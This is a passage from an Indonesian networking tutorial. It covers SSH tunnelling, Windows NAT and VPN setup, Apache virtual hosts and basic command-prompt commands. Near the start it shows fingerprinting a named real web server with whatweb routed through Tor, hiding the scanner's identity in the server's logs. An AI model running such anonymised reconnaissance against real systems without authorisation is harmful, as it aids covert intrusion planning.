http://data.xcodetraining.com [302 Found] Apache[2.2.11][mod_autoindex_color,mod_ssl/2.2.11], Country[INDONESIA]
[ID], HTTPServer[Windows (32 bit)][Apache/2.2.11 (Win32) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8i mod_autoindex_color
 PHP/5.2.8], IP[180.246.173.203], OpenSSL[0.9.8i], PHP[5.2.8], RedirectLocation[http://data.xcodetraining.com/xa
mpp/], WebDAV[2], X-Powered-By[PHP/5.2.8], maybe XAMPP
http://data.xcodetraining.com/xampp/ [302 Found] Apache[2.2.11][mod_autoindex_color,mod_ssl/2.2.11], Country[IND
ONESIA][ID], HTTPServer[Windows (32 bit)][Apache/2.2.11 (Win32) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8i mod_autoinde
x_color PHP/5.2.8], IP[180.246.173.203], OpenSSL[0.9.8i], PHP[5.2.8], RedirectLocation[splash.php], WebDAV[2], X
-Powered-By[PHP/5.2.8]
http://data.xcodetraining.com/xampp/splash.php [200 OK] ActiveX[D27CDB6E-AE6D-11cf-96B8-444553540000], Adobe-Fla
sh, Apache[2.2.11][mod_autoindex_color,mod_ssl/2.2.11], Country[INDONESIA][ID], HTTPServer[Windows (32 bit)][Apa
che/2.2.11 (Win32) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8i mod_autoindex_color PHP/5.2.8], IP[180.246.173.203], Obje
ct[http://active.macromedia.com/flash2/cabs/swflash.cab#version=4,0,0,0][clsid:D27CDB6E-AE6D-11cf-96B8-444553540
000], OpenSSL[0.9.8i], PHP[5.2.8], Title[XAMPP], WebDAV[2], X-Powered-By[PHP/5.2.8]
root@kalibr:/etc#
```

Untuk web bisa menggunakan whatweb, caranya dengan perintah : tsocks whatweb http://data.xcodetraining.com

```
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "OPTIONS / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:18 +0700] "GET /splash.php HTTP/1.1" 404 1133
180.246.173.203 - - [04/Feb/2018:04:41:18 +0700] "HEAD / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:18 +0700] "OPTIONS / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:18 +0700] "OPTIONS / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:18 +0700] "POST / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:18 +0700] "OPTIONS / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:18 +0700] "OPTIONS / HTTP/1.1" 302 -
62.210.105.116 - - [04/Feb/2018:05:16:32 +0700] "GET / HTTP/1.1" 302 -
62.210.105.116 - - [04/Feb/2018:05:16:34 +0700] "GET /xampp/ HTTP/1.1" 302 -
62.210.105.116 - - [04/Feb/2018:05:16:35 +0700] "GET /xampp/splash.php HTTP/1.1" 200 1325
```

Hasilnya di log server, tetap ip Tor yang tercatat.

2.19 SSH Tunnel

Tunneling adalah suatu cara untuk mengirimkan data melalui koneksi lain yang sudah ada. Di sini yang digunakan adalah SSH.

```
root@dhcppc4:~# service ssh start
[ ok ] Starting OpenBSD Secure Shell server: sshd.
root@dhcppc4:~# nano /etc/network/interfaces
```

Service SSH aktif di server.

IP Address router modem yang akan digunakan oleh linux sebagai perantara ke koneksi internet.

IP LAN router modem dimasukkan di sini.

Restart koneksi

IP LAN router modem yang digunakan oleh pengguna SSH Tunnel.

```
Command Prompt
   Host Name . . . . . . . . . . . . : kurniawanaja
   Primary Dns Suffix  . . . . . . . :
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Realtek PCIe FE Family Controller
   Physical Address. . . . . . . . . : 74-27-EA-0C-4F-67
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::781e:4ad8:1c0c:540f%3(Preferred)
   IPv4 Address. . . . . . . . . . . : 192.168.1.9(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : fe80::1%3
                                       192.168.1.1
   DHCPv6 IAID . . . . . . . . . . . : 57944042
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-1E-A4-B7-A2-74-27-EA-0C-4F-67

   DNS Servers . . . . . . . . . . . : 8.8.8.8
                                       8.8.4.4
   NetBIOS over Tcpip. . . . . . . . : Enabled
```

Di komputer pengguna SSH tunnel menggunakan gateway 192.168.1.1

IP Publik berawalan angka 36

Klik SSH

Centang don’t start a shell or command at all.

Destination set Dynamic

Source port misal di set 1024

Komputer linux dengan SSH Service memiliki IP Addrss 192.168.1.177

Komputer client melakukan koneksi ke SSH Server

Masukkan username dan password

Pilih Canggih, lalu jaringan, lalu Pengaturan.

Set Host SOCKS seperti di atas.

Saat pengguna SSH Tunnel melakukan koneksi internet untuk melihat ip address public yang digunakan, terlihat ip nya sudah berubah dari ip awalan 36 menjadi 115.

2.20 Setting Forward pada managed switch

Managed switch adalah swith yang dapat kita konfigurasi sesuai dengan kebutuhan jaringan tertentu, contohnya pada penggunaan fitur forward pada managed switch.

Contoh memutus koneksi port 5 dengan semua port ethernet kecuali pada port 1 yang mengarah ke router modem

2.21 Internet Connection sharing pada Windows XP

Internet Connection Sharing (ICS) is a Windows service that enables one Internet-connected computer to share its Internet connection with other computers on a local area network (LAN). The computer that shares its Internet connection serves a gateway device, meaning that all traffic between other computers and the Internet go through this computer. ICS provides Dynamic Host Configuration Protocol (DHCP) and network address translation (NAT) services for the LAN computers.

ICS was a feature of Windows 98 SE and all versions of Windows released for personal computers thereafter.

Sumber : https://en.wikipedia.org/wiki/Internet_Connection_Sharing

Klik Next

Pilih Connect to the Internet lalu Next

Pilih Set up my Connection manually

Diasumsikan menggunakan Speedy maka pilih *Connect using a broadband connection that requires a username and password*.

Masukkan input pada ISP Name.

Masukkan user name, password dan confirm passwordnya, jika sudah klik Next.

Klik Finish

Pada Connect Speedy lakukan koneksi

Jika ingin melakukan sharing dengan Internet Connection Sharing

Klik pada Advanced lalu klik Allow other network users to connect through this computer's internet connection.

Pada Home networking connection pilih LAN Card yang ingin di jadikan internet gateway server.

2.22 Membangun router di Windows XP

Mematikan ICS pada NIC

- Lakukan rename untuk mempermudah setting.
- Untuk IP yang terkoneksi internet diset INTERNETS
- Untuk IP untuk menjadi gateway diset LAN

Pastikan “Allow other network users to connect through this computer’s Internet connection” tidak dicentang pada 2 LAN Card.

Masuk ke Control Panel lalu klik Administrative Tools

Klik Services

Cari Firewall/Internet Connection Sharing (ICS), jika hidup maka matikan.

Cari Routing and Remote Acces, jika mati maka hidupkan

Set Startup Type, set Automatic, lalu Ok lalu masuk lagi, klik Start, lalu Ok.

Masuk ke Start lalu ketikkan Regedit lalu OK.

Pilih HKEY_LOCAL_MACHINE

Setelah masuk ke HKEY_LOCAL_MACHINE lalu masuk SYSTEM lalu masuk ke CurrentControlSet lalu masuk ke Services.

Setelah masuk ke HKEY_LOCAL_MACHINE lalu masuk SYSTEM lalu masuk ke CurrentControlSet lalu masuk ke Services maka pilih Tcpip lalu Parameters lalu cari IPEnableRouter.

Edit Value Data menjadi 1.

Command Prompt :

1. netsh routing ip nat uninstall : Tujuan untuk memastikan tidak aktif
2. netsh routing ip nat install : Menginstall NAT
3. netsh routing ip nat add interface name=INTERNETS mode=FULL : Menambahkan interface publik
4. netsh routing ip nat add interface name=LAN mode=PRIVATE : Menambahkan Interface private

2.23 Membangun router di Windows Server 2008

Klik Start, pilih control panel

Pilih Network and Sharing Center

Pilih Manage network connections

Rename seperti diatas

Untuk interface Internet set seperti diatas

Untuk private, set seperti diatas

Pilih Administrative Tools lalu pilih Services

Pilih Routing and Remote Access lalu klik kanan, pilih properties

Jalankan Service RemoteAccess

Klik regedit lalu pilih regedit

Lakukan seperti diatas

Lakukan seperti diatas, lalu klik pada IPEnableRouter

Pada Value data di set 1

Di control panel, pilih Programs and Features

Klik Server Manage lakukan klik kanan lalu pilih Add Roles

Centang pada network Policy and Access Services

Pada Role Service centang seperti diatas

Add Roles Wizard
Installation Progress
Before You Begin
Server Roles
Network Policy and Access Services
Role Services
Confirmation
Progress
Results
The following roles, role services, or features are being installed:
Network Policy and Access Services
Initializing installation...

Progress

Add Roles Wizard
Installation Results
Before You Begin
Server Roles
Network Policy and Access Services
Role Services
Confirmation
Progress
Results
The following roles, role services, or features were installed successfully:
1 warning, 1 informational messages below
Windows automatic updating is not enabled. To install the latest updates, use Window
Control Panel to check for updates.
Network Policy and Access Services
Installation succeeded
The following role services were installed:
Network Policy Server
Routing and Remote Access Services
Remote Access Service
Routing
You can use a wizard in the NPS console to configure Network Access Protection (NAP)
the NPS console after installation, go to Server Manager or click Start, Administrative T
Network Policy Server.
Print, e-mail, or save the installation report

Pada Administrative Tools, pilih Routing and Remote Access

Pilih Configure and Enable Routing and Remote Access

Routing and Remote Access
File Action View Help
Routing and Remote Acce
Server Status
WIN-XV6ZYHFULV5 (lo
Routing and Remote Access Server Setup Wizard
Configuration
You can enable any of the following combinations of services, or you can customize this server.
Remote access (dial-up or VPN)
Allow remote clients to connect to this server through either a dial-up connection or a secure virtual private network (VPN) Internet connection.
Network address translation (NAT)
Allow internal clients to connect to the Internet using one public IP address.
Virtual private network (VPN) access and NAT
Allow remote clients to connect to this server through the Internet and local clients to connect to the Internet using a single public IP address.
Secure connection between two private networks
Connect this network to a remote network, such as a branch office.
Custom configuration
Select any combination of the features available in Routing and Remote Access.
For more information
< Back
Next >
Cancel

Pilih NAT

Routing and Remote Access
File Action View Help
Routing and Remote Acce
Server Status
WIN-XV6ZYHFULV5 (lo
Routing and Remote Access Server Setup Wizard
NAT Internet Connection
You can select an existing interface or create a new demand-dial interface for client computers to connect to the Internet.
Use this public interface to connect to the Internet:
Network Interfaces:
Name
Description
IP Address
internet
Intel(R) PRO/1000 MT...
192.168.1.122
lan
Intel(R) PRO/1000 MT...
192.168.10.1
Create a new demand-dial interface to the Internet
A demand-dial interface is activated when a client uses the Internet. Select this option if this server connects with a modem or by using the Point-to-Point Protocol over Ethernet. The Demand-Dial Interface Wizard will start at the end of this wizard.
For more information
< Back
Next >
Cancel

Setting seperti diatas

Pilih seperti diatas

2.24 Membangun VPN Server di Windows Server 2008

Melanjutkan sebelumnya, pada routing and Remote Access Server Setup Wizard, pilih seperti diatas

Pilih seperti diatas

Set range IP untuk poengguna VPN

Pilih seperti diatas

Pilih seperti diatas

Pilih Administrative Tools

Pilih Computer Management

Klik kanan pilih New User …

Klik kanan pada usernya lalu pilih properties

Tampil pilihan seperti diatas, pilih Allow Access pada Network Access Permision

2.25 Virtual Host

Virtual hosting is a method for hosting multiple domain names (with separate handling of each name) on a single server (or pool of servers). This allows one server to share its resources, such as memory and processor cycles, without requiring all services provided to use the same host name. The term virtual hosting is usually used in reference to web servers but the principles do carry over to other internet services.

One widely used application is shared web hosting. Shared web hosting prices are lower than a dedicated web server because many customers can be hosted on a single server. It is also very common for a single entity to want to use multiple names on the same machine so that the names can reflect services offered rather than where those services happen to be hosted.

Sumber : https://en.wikipedia.org/wiki/Virtual_hosting

Contoh langkah-langkahnya

```
root@ubuntuserver:/# cd /var/www/html
root@ubuntuserver:/var/www/html# ls -l index.html
-rw-r--r-- 1 root root 12 Jan 30 17:31 index.html
root@ubuntuserver:/var/www/html# cat index.html
testing 123
root@ubuntuserver:/var/www/html# ifconfig
enp1s0    Link encap:Ethernet  HWaddr 00:27:0e:11:85:73
          inet addr:192.168.1.93  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::227:eff:fe11:8573/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:152600 errors:0 dropped:0 overruns:0 frame:0
          TX packets:97159 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:163111207 (163.1 MB)  TX bytes:7018414 (7.0 MB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:255 errors:0 dropped:0 overruns:0 frame:0
          TX packets:255 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:17469 (17.4 KB)  TX bytes:17469 (17.4 KB)

root@ubuntuserver:/var/www/html#
```

cd /etc/var/www/html

ls -l index.html

cat index.html

http://192.168.1.93

Di router TP-LINK pada pilihan Virtual Servers

Service port 80, internal port 80, ip address 192.168.1.93, lalu save

Hasilnya seperti di atas

Saat dicek ip public sendiri

Saat ipnya diakses dengan alamat http://36.78.63.181 hasilnya seperti di atas

Di sini diasumsikan sudah mempunyai sub domain serverkopi.ip-dynamic.com

```
root@ubuntuserver:/home# useradd -m serverkopi.ip-dynamic.com
```

Buat user baru

useradd -m serverkopi.ip-dynamic.com

Lalu masuk ke folder serverkopi.ip-dynamic.com, caranya cd serverkopi.ip-dynamic.com

```
root@ubuntuserver:/home/serverkopi.ip-dynamic.com# su serverkopi.ip-dynamic.com
serverkopi.ip-dynamic.com@ubuntuserver:~$ pwd
/home/serverkopi.ip-dynamic.com
serverkopi.ip-dynamic.com@ubuntuserver:~$ mkdir public_html
```

su serverkopi.ip-dynamic.com

mkdir public_html

```
serverkopi.ip-dynamic.com@ubuntuserver:~$ exit
exit
root@ubuntuserver:/home/serverkopi.ip-dynamic.com# ls
public_html
root@ubuntuserver:/home/serverkopi.ip-dynamic.com# cd public_html
root@ubuntuserver:/home/serverkopi.ip-dynamic.com/public_html# ls
index.html
root@ubuntuserver:/home/serverkopi.ip-dynamic.com/public_html#
```

exit

cd public_html

ls

```
root@ubuntuserver:/home/serverkopi.ip-dynamic.com/public_html# nano index.html
```

nano index.html

```
  GNU nano 2.5.3                                    File: index.html

ni adalah server kopi
```

Isi seperti di atas

```
root@ubuntuserver:/home/serverkopi.ip-dynamic.com/public_html# cd /etc/apache2/sites-available/
root@ubuntuserver:/etc/apache2/sites-available# nano serverkopi.ip-dynamic.com.conf
```

cd /etc/apache2/sites-available

nano serverkopi.ip-dynamic.com

```
        # enabled or disabled at a global level, it is possible to
        # include a line for only one particular virtual host. For example the
        # following line enables the CGI configuration for this host only
        # after it has been globally disabled with "a2disconf".
        #Include conf-available/serve-cgi-bin.conf

</VirtualHost>
<VirtualHost *:80>
    ServerAdmin admin@example.com
    ServerName serverkopi.ip-dynamic.com
    ServerAlias www.serverkopi.ip-dynamic.com
    DocumentRoot /home/serverkopi.ip-dynamic.com/public_html
    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
                                                                    [ Read 41
^G Get Help    ^O Write Out   ^W Where Is    ^K Cut Text    ^J Justify
^X Exit        ^R Read File   ^\ Replace     ^U Uncut Text  ^T To Spell
```

Isi seperti di atas

```
root@ubuntuserver:/etc/apache2/sites-available# sudo a2ensite serverkopi.ip-dynamic.com.conf
```

sudo e2ensite serverkopi.dynamic.com.conf

```
root@ubuntuserver:/etc/apache2/sites-available# service apache2 reload
```

server apache2 reload

Hasilnya saat ketik alamat http://serverkopi.ip-dynamic.com hasilnya seperti di atas, tapi jika buka ipnya yaitu 36.78.63.181, hasilnya seperti di bawah ini

Tampilannya berbeda.

Bab 3

Command prompt

Menampilkan files dan direktori

```
Command Prompt
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\kurniawan>dir
 Volume in drive C has no label.
 Volume Serial Number is 0634-80A0

 Directory of C:\Users\kurniawan

10/09/2016  03:39 PM    <DIR>          .
10/09/2016  03:39 PM    <DIR>          ..
05/23/2016  07:20 PM    <DIR>          .android
11/16/2015  02:03 AM    <DIR>          .oracle_jre_usage
08/28/2016  02:54 PM    <DIR>          .VirtualBox
11/15/2015  04:17 PM    <DIR>          Contacts
08/01/2016  03:38 PM    <DIR>          Desktop
07/06/2016  12:29 AM    <DIR>          Documents
10/08/2016  12:44 AM    <DIR>          Downloads
11/15/2015  04:17 PM    <DIR>          Favorites
11/15/2015  04:17 PM    <DIR>          Links
01/21/2016  03:26 PM    <DIR>          Music
11/15/2015  04:17 PM    <DIR>          Pictures
11/15/2015  04:17 PM    <DIR>          Saved Games
11/15/2015  04:17 PM    <DIR>          Searches
10/09/2016  01:10 AM    <DIR>          Videos
```

dir : Menampilkan file dan direktori ke bawah
dir/w : Menampilkan file dan direktori menyamping
dir/p : Menampil file dan direktori per-layar
dir/s : Menampilkan semua isi file dan direktori beserta isi di dalam direktori
dir (nama file) : Menampilkan nama file
dir/ad : Menampilkan direktori saja

Membuat direktori dan masuk ke direktori

```
Command Prompt
C:\Users\kurniawan>md testing

C:\Users\kurniawan>cd testing

C:\Users\kurniawan\testing>dir
 Volume in drive C has no label.
 Volume Serial Number is 0634-80A0

 Directory of C:\Users\kurniawan\testing

10/09/2016  03:47 PM    <DIR>          .
10/09/2016  03:47 PM    <DIR>          ..
               0 File(s)              0 bytes
               2 Dir(s)   8,814,460,928 bytes free

C:\Users\kurniawan\testing>md data

C:\Users\kurniawan\testing>dir
 Volume in drive C has no label.
 Volume Serial Number is 0634-80A0

 Directory of C:\Users\kurniawan\testing

10/09/2016  03:47 PM    <DIR>          .
10/09/2016  03:47 PM    <DIR>          ..
10/09/2016  03:47 PM    <DIR>          data
               0 File(s)              0 bytes
               3 Dir(s)   8,814,465,024 bytes free

C:\Users\kurniawan\testing>rd data

C:\Users\kurniawan\testing>dir
 Volume in drive C has no label.
 Volume Serial Number is 0634-80A0

 Directory of C:\Users\kurniawan\testing

10/09/2016  03:48 PM    <DIR>          .
10/09/2016  03:48 PM    <DIR>          ..
               0 File(s)              0 bytes
               2 Dir(s)   8,814,465,024 bytes free

C:\Users\kurniawan\testing>_
```

md (nama direktori) : Membuat direktori
rd (nama direktori) : Menghapus direktori

CD (Change Directory - move to a specific Folder)

```
C:\Users\kurniawan\testing>dir
 Volume in drive C has no label.
 Volume Serial Number is 0634-80A0

 Directory of C:\Users\kurniawan\testing

10/09/2016  03:49 PM    <DIR>          .
10/09/2016  03:49 PM    <DIR>          ..
10/09/2016  03:49 PM    <DIR>          data
               0 File(s)              0 bytes
               3 Dir(s)   8,812,511,232 bytes free

C:\Users\kurniawan\testing>cd data

C:\Users\kurniawan\testing\data>dir
 Volume in drive C has no label.
 Volume Serial Number is 0634-80A0

 Directory of C:\Users\kurniawan\testing\data

10/09/2016  03:49 PM    <DIR>          .
10/09/2016  03:49 PM    <DIR>          ..
               0 File(s)              0 bytes
               2 Dir(s)   8,812,511,232 bytes free

C:\Users\kurniawan\testing\data>cd..

C:\Users\kurniawan\testing>cd\

C:\>
```

cd (nama direktori) : Masuk ke dalam direktori
cd.. : Keluar dari suatu direktori satu tingkat
cd\ : Keluar dari direktori menuju root drive

Membuat file dengan copy con dan edit

```
C:\Users\kurniawan\testing>copy con coba
123456789^Z
        1 File(s) copied.

C:\Users\kurniawan\testing>dir
 Volume in drive C has no label.
 Volume Serial Number is 0634-80A0

 Directory of C:\Users\kurniawan\testing

10/09/2016  03:53 PM    <DIR>          .
10/09/2016  03:53 PM    <DIR>          ..
10/09/2016  03:53 PM                 9 coba
               1 File(s)              9 bytes
               2 Dir(s)   8,739,815,424 bytes free

C:\Users\kurniawan\testing>_
```

copy con (nama file): Untuk menyimpan hasil isi tekan Ctrl + Z

edit (nama file)

Memformat disk

format (drive):
Cara format d
Contoh : format d:

Type

Menampilkan isi file
Contoh : type coba

Ren

```
C:\Users\kurniawan\testing>dir
 Volume in drive C has no label.
 Volume Serial Number is 0634-80A0

 Directory of C:\Users\kurniawan\testing

10/09/2016  03:53 PM    <DIR>          .
10/09/2016  03:53 PM    <DIR>          ..
10/09/2016  03:53 PM                 9 coba
               1 File(s)              9 bytes
               2 Dir(s)   9,147,293,696 bytes free

C:\Users\kurniawan\testing>ren coba data

C:\Users\kurniawan\testing>dir
 Volume in drive C has no label.
 Volume Serial Number is 0634-80A0

 Directory of C:\Users\kurniawan\testing

10/09/2016  03:58 PM    <DIR>          .
10/09/2016  03:58 PM    <DIR>          ..
10/09/2016  03:53 PM                 9 data
               1 File(s)              9 bytes
               2 Dir(s)   9,147,293,696 bytes free

C:\Users\kurniawan\testing>_
```

Digunakan untuk mengubah (Rename) nama file dengan file yang baru. Caranya, ren (nama file lama) (nama file baru)
Contoh : ren coba data

Pindah Drive

```
C:\Users\kurniawan\testing>dir
 Volume in drive C has no label.
 Volume Serial Number is 0634-80A0

 Directory of C:\Users\kurniawan\testing

10/09/2016  03:58 PM    <DIR>          .
10/09/2016  03:58 PM    <DIR>          ..
10/09/2016  03:53 PM                 9 data
               1 File(s)              9 bytes
               2 Dir(s)   9,145,860,096 bytes free

C:\Users\kurniawan\testing>d:

D:\power>dir
 Volume in drive D has no label.
 Volume Serial Number is 8C2D-C381

 Directory of D:\power

10/09/2016  04:02 PM    <DIR>          .
10/09/2016  04:02 PM    <DIR>          ..
10/09/2016  04:02 PM    <DIR>          modem
10/09/2016  04:02 PM                 3 router
               1 File(s)              8 bytes
               3 Dir(s)   7,517,229,056 bytes free

D:\power>c:

C:\Users\kurniawan\testing>dir
 Volume in drive C has no label.
 Volume Serial Number is 0634-80A0

 Directory of C:\Users\kurniawan\testing

10/09/2016  03:58 PM    <DIR>          .
10/09/2016  03:58 PM    <DIR>          ..
10/09/2016  03:53 PM                 9 data
               1 File(s)              9 bytes
               2 Dir(s)   9,145,860,096 bytes free

C:\Users\kurniawan\testing>_
```

(Drive)
Perintahhnya => D:

Copy file (Copy one or more files to another location)

```
C:\data>dir
 Volume in drive C has no label.
 Volume Serial Number is 0634-80A0

 Directory of C:\data

10/09/2016  04:06 PM    <DIR>          .
10/09/2016  04:06 PM    <DIR>          ..
               0 File(s)              0 bytes
               2 Dir(s)   9,006,665,728 bytes free

C:\data>cd\users\kurniawan\testing

C:\Users\kurniawan\testing>dir
 Volume in drive C has no label.
 Volume Serial Number is 0634-80A0

 Directory of C:\Users\kurniawan\testing

10/09/2016  04:05 PM    <DIR>          .
10/09/2016  04:05 PM    <DIR>          ..
10/09/2016  03:53 PM                 9 data
10/09/2016  04:05 PM                 7 kopi
10/09/2016  04:05 PM                 7 nasigoeng
10/09/2016  04:05 PM                 7 teh
               4 File(s)             30 bytes
               2 Dir(s)   9,006,665,728 bytes free

C:\Users\kurniawan\testing>copy *.* c:\data
data
kopi
nasigoeng
teh
        4 file(s) copied.

C:\Users\kurniawan\testing>cd\data

C:\data>dir
 Volume in drive C has no label.
 Volume Serial Number is 0634-80A0

 Directory of C:\data

10/09/2016  04:07 PM    <DIR>          .
10/09/2016  04:07 PM    <DIR>          ..
10/09/2016  03:53 PM                 9 data
10/09/2016  04:05 PM                 7 kopi
10/09/2016  04:05 PM                 7 nasigoeng
10/09/2016  04:05 PM                 7 teh
               4 File(s)             30 bytes
               2 Dir(s)   9,005,260,300 bytes free

C:\data>_
```

Contoh ingin mengcopy semua isi files ke direktori c:\data
Perintahnya => copy *.* c:\data

Contoh ingin mengopy file gambar.jpg ke direktori c:\data
Perintahnya => copy gambar.jpg c:\data
Contoh ingin mengcopy file dengan ekstensi jpg saja ke direktori c:\data
Perintahnya => copy *.jpg c:\data
Contoh ingin mengcopy file dengan nama file gambar dengan ekstensi bebas ke irektori c:\data
Perintahnya => copy gambar.* c:\data

Move atau memindahkan data

```
C:\data>dir
 Volume in drive C has no label.
 Volume Serial Number is 0634-80A0

 Directory of C:\data

10/09/2016  04:08 PM    <DIR>          .
10/09/2016  04:08 PM    <DIR>          ..
               0 File(s)              0 bytes
               2 Dir(s)   9,002,528,768 bytes free

C:\data>cd\users\kurniawan\testing

C:\Users\kurniawan\testing>dir
 Volume in drive C has no label.
 Volume Serial Number is 0634-80A0

 Directory of C:\Users\kurniawan\testing

10/09/2016  04:05 PM    <DIR>          .
10/09/2016  04:05 PM    <DIR>          ..
10/09/2016  03:53 PM                 9 data
10/09/2016  04:05 PM                 7 kopi
10/09/2016  04:05 PM                 7 nasigoeng
10/09/2016  04:05 PM                 7 teh
               4 File(s)             30 bytes
               2 Dir(s)   9,002,528,768 bytes free

C:\Users\kurniawan\testing>move *.* c:\data
C:\Users\kurniawan\testing\data
C:\Users\kurniawan\testing\kopi
C:\Users\kurniawan\testing\nasigoeng
C:\Users\kurniawan\testing\teh
        4 file(s) moved.

C:\Users\kurniawan\testing>dir
 Volume in drive C has no label.
 Volume Serial Number is 0634-80A0

 Directory of C:\Users\kurniawan\testing

10/09/2016  04:09 PM    <DIR>          .
10/09/2016  04:09 PM    <DIR>          ..
               0 File(s)              0 bytes
               2 Dir(s)   9,002,536,960 bytes free

C:\Users\kurniawan\testing>cd\data

C:\data>dir
 Volume in drive C has no label.
 Volume Serial Number is 0634-80A0

 Directory of C:\data

10/09/2016  04:09 PM    <DIR>          .
10/09/2016  04:09 PM    <DIR>          ..
10/09/2016  03:53 PM                 9 data
10/09/2016  04:05 PM                 7 kopi
10/09/2016  04:05 PM                 7 nasigoeng
10/09/2016  04:05 PM                 7 teh
               4 File(s)             30 bytes
               2 Dir(s)   9,002,541,056 bytes free

C:\data>
```

Contoh ingin memindahkan semua isi files ke direktori c:\data
Perintahnya => move *.* c:\data

Contoh ingin memindahkan file gambar.jpg ke direktori c:\data
Perintahnya => move gambar.jpg c:\data

Contoh ingin memindahkan file dengan ekstensi jpg saja ke direktori c:\data
Perintahnya => move *.jpg c:\data

Contoh ingin memindahkan file dengan nama file gambar dengan ekstensi bebas ke direktori c:\data
Perintahnya => move gambar.* c:\data

DEL (Delete one or more files)

```
C:\data>dir
 Volume in drive C has no label.
 Volume Serial Number is 0634-80A0

 Directory of C:\data

10/09/2016  04:09 PM    <DIR>          .
10/09/2016  04:09 PM    <DIR>          ..
10/09/2016  03:53 PM                 9 data
10/09/2016  04:05 PM                 7 kopi
10/09/2016  04:05 PM                 7 nasigoeng
10/09/2016  04:05 PM                 7 teh
               4 File(s)            30 bytes
               2 Dir(s)   8,999,161,856 bytes free

C:\data>del *.*
C:\data\*.*, Are you sure (Y/N)? y

C:\data>dir
 Volume in drive C has no label.
 Volume Serial Number is 0634-80A0

 Directory of C:\data

10/09/2016  04:13 PM    <DIR>          .
10/09/2016  04:13 PM    <DIR>          ..
               0 File(s)             0 bytes
               2 Dir(s)   8,999,157,760 bytes free

C:\data>_
```

Contoh ingin menghapus semua file
Perintahnya => del *.*

Contoh ingin menghapus file gambar.jpg
Perintahnya => del gambar.jpg

Contoh ingin menghapus semua file dengan ekstensi jpg
Perintahnya => del *.jpg

Contoh ingin menghapus semua nama file gambar dengan ekstensi bebas
Perintahnya => del gambar.*

Attrib (Change file attributes)

```
C:\data>edit nasigoreng

C:\data>dir
 Volume in drive C has no label.
 Volume Serial Number is 0634-80A0

 Directory of C:\data

10/09/2016  04:15 PM    <DIR>          .
10/09/2016  04:15 PM    <DIR>          ..
10/09/2016  04:15 PM                 7 nasigoreng
               1 File(s)              7 bytes
               2 Dir(s)   8,855,630,016 bytes free

C:\data>attrib +h nasigoreng

C:\data>dir
 Volume in drive C has no label.
 Volume Serial Number is 0634-80A0

 Directory of C:\data

10/09/2016  04:15 PM    <DIR>          .
10/09/2016  04:15 PM    <DIR>          ..
               0 File(s)              0 bytes
               2 Dir(s)   8,855,629,824 bytes free

C:\data>attrib -h nasigoreng

C:\data>dir
 Volume in drive C has no label.
 Volume Serial Number is 0634-80A0

 Directory of C:\data

10/09/2016  04:15 PM    <DIR>          .
10/09/2016  04:15 PM    <DIR>          ..
10/09/2016  04:15 PM                 7 nasigoreng
               1 File(s)              7 bytes
               2 Dir(s)   8,855,629,824 bytes free

C:\data>
```

Menyembunyikan file
Perintahnya => attrib +h (nama file)

Membuka penyembunyian file
Perintahnya => attrib -h (nama file)

Membuat file hanya bisa dibaca
Perintahnya => attrib +r (nama file)

Membuka proteksi file sehingga bisa ditulis
Perintahnya => attrib -r (nama file)

```
C:\Windows\system32>tasklist

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0         28 K
System                           4 Services                   0      1,176 K
smss.exe                       332 Services                   0        720 K
csrss.exe                      444 Services                   0      3,052 K
wininit.exe                    528 Services                   0      2,692 K
csrss.exe                      536 Console                    1      5,808 K
winlogon.exe                   592 Console                    1      4,120 K
services.exe                   616 Services                   0      4,336 K
lsass.exe                      624 Services                   0      7,232 K
svchost.exe                    700 Services                   0      7,496 K
svchost.exe                    744 Services                   0      6,028 K
nvvsvc.exe                     848 Services                   0      4,992 K
dwm.exe                        864 Console                    1     21,792 K
nvSCPAPISvr.exe                896 Services                   0      3,632 K
nvxdsync.exe                   944 Console                    1     10,624 K
nvvsvc.exe                     952 Console                    1      7,836 K
svchost.exe                    980 Services                   0     18,316 K
svchost.exe                   1020 Services                   0     23,236 K
```

Untuk melihat proses : tasklist

Terdeteksi calc.exe

```
Administrator: Command Prompt
WINWORD.EXE                  5920 Console                    1     44,980 K
ggdllhost.exe                 976 Console                    1      5,068 K
adb.exe                      5684 Console                    1      3,584 K
pclink_connect.exe           5792 Console                    1      3,616 K
AsusTPLoader.exe             2888 Console                    1        924 K
AsusTPCenter.exe             3976 Console                    1      2,632 K
AsusSmartGestureDetector.    2420 Console                    1      2,112 K
AsusTPHelper.exe             2504 Console                    1        656 K
AsusSGPlusBTServer.exe       3152 Console                    1      1,692 K
taskhost.exe                 6132 Services                   0     10,260 K
CodecTweakTool.exe           5992 Console                    1      2,116 K
jucheck.exe                  4500 Console                    1      9,200 K
